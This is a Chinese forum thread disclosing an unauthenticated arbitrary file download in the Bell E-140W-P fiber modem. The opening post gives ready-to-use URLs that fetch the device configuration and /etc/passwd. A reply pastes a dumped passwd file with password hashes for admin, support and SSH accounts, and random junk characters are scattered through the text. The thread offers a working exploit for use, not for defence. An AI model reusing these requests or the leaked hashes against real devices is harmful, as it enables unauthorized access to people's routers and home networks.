贝尔 E-140W-P 免登录任意文件下载 可下载配置文件

路飞

$ T( o: q( g5 [' l  [
* z, i. y0 X9 ~  ]5 c
5 b- u% o- m( y1 O配置文件下载
http://192.168.1.1/downloadFile?file=/var/config/psi  
系统帐号文件
http://192.168.1.1/downloadFile?file=/etc/passwd
3 [- T, l4 d( y, b4 G
! n( ?2 r% w  _* U# ^
PS：悦me光猫系统应该通用，手上没有其它光猫没办法测试，有条件的同学可以试试

* r, d" l3 Y0 U2 S( U! {
; |& `9 b/ ~3 q8 A4 K9 N" v9 s
1 L% j; W$ @! z7 e: L/ a! |4 R

山里娃子

第一个用什么解密呀。都是乱码。

butterfly_6

这个要支持一下，也算是一个漏洞吧！

cjt200685

楼主能做个详细点的说明吗
第二个链接好像不能下载啊

songyi

这个可以看看

songyi

cjt200685 发表于 2016-9-1 09:01
+ L  a% ~* I6 S% ?" z2 A楼主能做个详细点的说明吗
% w$ D: @8 g' w- C第二个链接好像不能下载啊

第二个可以下的 全复制下载 lz的链接部分不全

lance65

收费的，莪是穷人

smartzzh

我有超级密码，就不需要了吧

findwm11

恩，我自己买的这个光猫，按你方法下载了配置文件，但是不知道怎么解密。

yxwyzh520

下载了文件一堆看不懂的数据！
passwd
com.chinatelecom.tongwei.smartgateway.thunder:rOVcJgFX997OI:701:0:com.chinatelecom.tongwei.smartgateway.thunder:/usr/plugin/cpk/com.chinatelecom.tongwei.smartgateway.thunder:/bin/sh
8 R! E( N2 J/ E; m# O5 Kcom.chinatelecom.tongwei.smartgateway.b01:bdfN2CU7LYsLk:1002:0:com.chinatelecom.tongwei.smartgateway.b01:/usr/plugin/cpk/com.chinatelecom.tongwei.smartgateway.b01:/bin/sh
  D7 S$ H) v+ c- z" ~osgid:LdpyC9j4xRx6M:102:0:osgid:/usr/plugin/cpk/osgid:/bin/sh
admin:Izy.z7nZNlDfg:0:0:Administrator:/:/bin/sh
4 y4 W0 [. S& G. y! vsupport:EXEETbhgbwb/U:0:0:Technical Support:/:/bin/sh
user:x5Vkhi7UdT7uM:0:0:Normal User:/:/bin/sh
2 k9 N2 U( E$ c: [( luseradmin:dfKFvCUXGs81w:0:0:ftp account:/mnt:/bin/sh
1 q% \) y. I( Y. Zsshdadmin:aEqI1ZqvXeWfA:0:8:ssh account:/mnt:/bin/sh
+ Z* R+ j; ~5 v* R# Inobody:LOesJdOXNA4sQ:0:0:nobody for ftp:/:/bin/sh
useradmin:sOGdhPr.iOH/g:0:0:Normal User:/mnt:/bin/sh
& g5 Q2 ^1 h$ p; s0 h8 H

# |$ t7 I1 k! e+ `" `" @
! M) l$ J# i8 L4 W* ]+ O, k

% a- N$ V/ e9 o! e6 F  [
8 _+ b9 m: k1 d% h+ r2 m. ^
9 z$ C9 q& }4 YPSI 文件直接全部乱码！